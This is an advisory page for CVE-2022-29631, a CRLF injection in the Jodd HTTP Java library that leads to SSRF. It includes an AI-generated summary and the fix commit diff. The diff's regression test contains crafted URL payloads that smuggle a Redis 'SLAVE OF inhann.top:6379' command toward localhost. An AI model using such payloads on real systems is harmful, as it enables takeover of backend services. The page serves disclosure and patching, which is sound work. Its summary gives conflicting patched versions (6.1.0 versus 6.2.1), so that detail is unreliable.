VYPR
High severityNVD Advisory· Published Jun 6, 2022· Updated Aug 3, 2024

CVE-2022-29631

CVE-2022-29631

Description

Jodd HTTP v6.0.9 and earlier versions contain CRLF injection vulnerabilities in HttpRequest#set and #send leading to SSRF via crafted TCP payloads.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Jodd HTTP v6.0.9 and earlier versions contain CRLF injection vulnerabilities in HttpRequest#set and #send leading to SSRF via crafted TCP payloads.

Vulnerability

Jodd HTTP versions up to and including 6.0.9 (as well as versions 5.0.x, 5.1.x, 5.2.x, 6.0.x, 6.1.x, 6.2.x) contain multiple CRLF injection vulnerabilities in the jodd.http.HttpRequest#set and jodd.http.HttpRequest#send methods [1][4]. The bug occurs because the library does not properly encode or validate user-supplied input when constructing the HTTP request path, query string, and fragment, allowing newline characters (\r\n) to be injected into the raw TCP payload [4].

Exploitation

An attacker can exploit this vulnerability by supplying a crafted URL containing CRLF sequences to any application using Jodd HTTP. The attacker does not require any special network position or authentication—only the ability to influence the URL passed to HttpRequest.get() or similar methods [4]. The provided proof-of-concept demonstrates sending a URL that injects a SLAVE OF command into a Redis connection on localhost:6379, showing that the injected payload can target arbitrary TCP services [4].

Impact

Successful exploitation allows an attacker to perform Server-Side Request Forgery (SSRF) via arbitrary TCP payload injection [1]. The attacker may be able to redirect requests, modify headers, or craft raw commands to backend services (e.g., Redis, Memcached, HTTP servers), potentially leading to data exfiltration, command execution, or further compromise [4].

Mitigation

The vulnerability was addressed in a commit by the Jodd HTTP maintainer, which replaced unsafe URLEncoder usage with URLCoder.encodePath to properly encode special characters [2]. Users should upgrade to Jodd HTTP version 6.1.0 or later (the fix was included in version 6.1.0 released in 2022). If upgrading is not possible, ensure that all URLs passed to the library are strictly validated and do not contain CRLF characters. No workaround is available for unpatched versions. This CVE is not listed in CISA's Known Exploited Vulnerabilities catalog.

AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
org.jodd:jodd-httpMaven
>= 5.0.0, < 6.2.16.2.1

Affected products

2

Patches

1
e50f573c8f6a

Encode with URLCoder (closes #9)

https://github.com/oblac/jodd-httpIgor SpasićApr 18, 2022via ghsa
2 files changed · +59 22
  • src/main/java/jodd/http/HttpRequest.java+19 22 modified
    @@ -27,6 +27,7 @@
     
     import jodd.net.HttpMethod;
     import jodd.net.MimeTypes;
    +import jodd.net.URLCoder;
     import jodd.util.Base64;
     import jodd.util.StringPool;
     import jodd.util.StringUtil;
    @@ -37,7 +38,6 @@
     import java.io.InputStreamReader;
     import java.io.OutputStream;
     import java.io.UnsupportedEncodingException;
    -import java.net.URLEncoder;
     import java.nio.charset.StandardCharsets;
     import java.util.Map;
     import java.util.concurrent.CompletableFuture;
    @@ -337,40 +337,37 @@ public String path() {
     	 * Adds a slash if path doesn't start with one.
     	 * Query will be stripped out from the path.
     	 * Previous query is discarded.
    +	 *
     	 * @see #query()
     	 */
    -	public HttpRequest path(String path){
    +	public HttpRequest path(String path) {
     		// this must be the only place that sets the path
     
     		if (!path.startsWith(StringPool.SLASH)) {
     			path = StringPool.SLASH + path;
     		}
     
    -		try {
    -			// remove fragment
    -			final int fragmentIndex = path.indexOf('#');
    -			if (path.indexOf('#') != -1) {
    -				this.fragment = URLEncoder.encode(path.substring(fragmentIndex + 1), StandardCharsets.UTF_8.name());
    -				path = path.substring(0, fragmentIndex);
    -			}
    -
    -			final int ndx = path.indexOf('?');
    +		// remove fragment
    +		final int fragmentIndex = path.indexOf('#');
    +		if (path.indexOf('#') != -1) {
    +			this.fragment = URLCoder.encodePath(path.substring(fragmentIndex + 1), StandardCharsets.UTF_8);
    +			path = path.substring(0, fragmentIndex);
    +		}
     
    -			if (ndx != -1) {
    -				final String queryString = path.substring(ndx + 1);
    +		final int ndx = path.indexOf('?');
     
    -				path = URLEncoder.encode(path.substring(0, ndx), StandardCharsets.UTF_8.name());
    +		if (ndx != -1) {
    +			final String queryString = path.substring(ndx + 1);
     
    -				query = HttpUtil.parseQuery(queryString, true);
    -			} else {
    -				query = HttpMultiMap.newCaseInsensitiveMap();
    -			}
    +			path = URLCoder.encodePath(path.substring(0, ndx), StandardCharsets.UTF_8);
     
    -			this.path = URLEncoder.encode(path, StandardCharsets.UTF_8.name());
    -			;
    -		}catch (UnsupportedEncodingException e) {
    -			return null;
    +			query = HttpUtil.parseQuery(queryString, true);
    +		} else {
    +			query = HttpMultiMap.newCaseInsensitiveMap();
     		}
    +
    +		this.path = URLCoder.encodePath(path, StandardCharsets.UTF_8);
    +
     		return this;
     	}
     
    
  • src/test/java/jodd/http/CRLFInjectionTest.java+40 0 added
    @@ -0,0 +1,40 @@
    +package jodd.http;
    +
    +import jodd.net.URLCoder;
    +import org.junit.jupiter.api.Test;
    +
    +import static org.junit.jupiter.api.Assertions.assertEquals;
    +
    +class CRLFInjectionTest {
    +
    +	@Test
    +	void testGet_crlf_injection() {
    +		String url = "http://127.0.0.1:6379/ \rfoo";//"HTTP/1.1\r\nHost: 127.0.0.13:1099\r\n\r\nSLAVE OF inhann.top:6379\r\n\r\nPOST / ";
    +		HttpRequest req = HttpRequest.get(url);
    +
    +		assertEquals("GET /%20%0Dfoo HTTP/1.1", req.toString().split("\n")[0].trim());
    +	}
    +
    +	@Test
    +	void testGet_crlf_injection_path() {
    +		String url = "http://127.0.0.1:6379/";
    +		HttpRequest req = HttpRequest.get(url).path(" \rfoo");
    +
    +		assertEquals("GET /%20%0Dfoo HTTP/1.1", req.toString().split("\n")[0].trim());
    +	}
    +
    +	@Test
    +	void testGet_crlf_injection2() {
    +		String path = " HTTP/1.1\n" +
    +				"Host: 127.0.0.13:1099\n" +
    +				"\n" +
    +				"SLAVE OF inhann.top:6379\n" +
    +				"\n" +
    +				"POST /";
    +		String url = "http://127.0.0.1:6379/" + path;
    +		HttpRequest req = HttpRequest.get(url);
    +
    +		assertEquals("GET /" + URLCoder.encodePath(path) + " HTTP/1.1", req.toString().split("\n")[0].trim());
    +	}
    +
    +}
    

Vulnerability mechanics

Generated on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

5

News mentions

0

No linked articles in our index yet.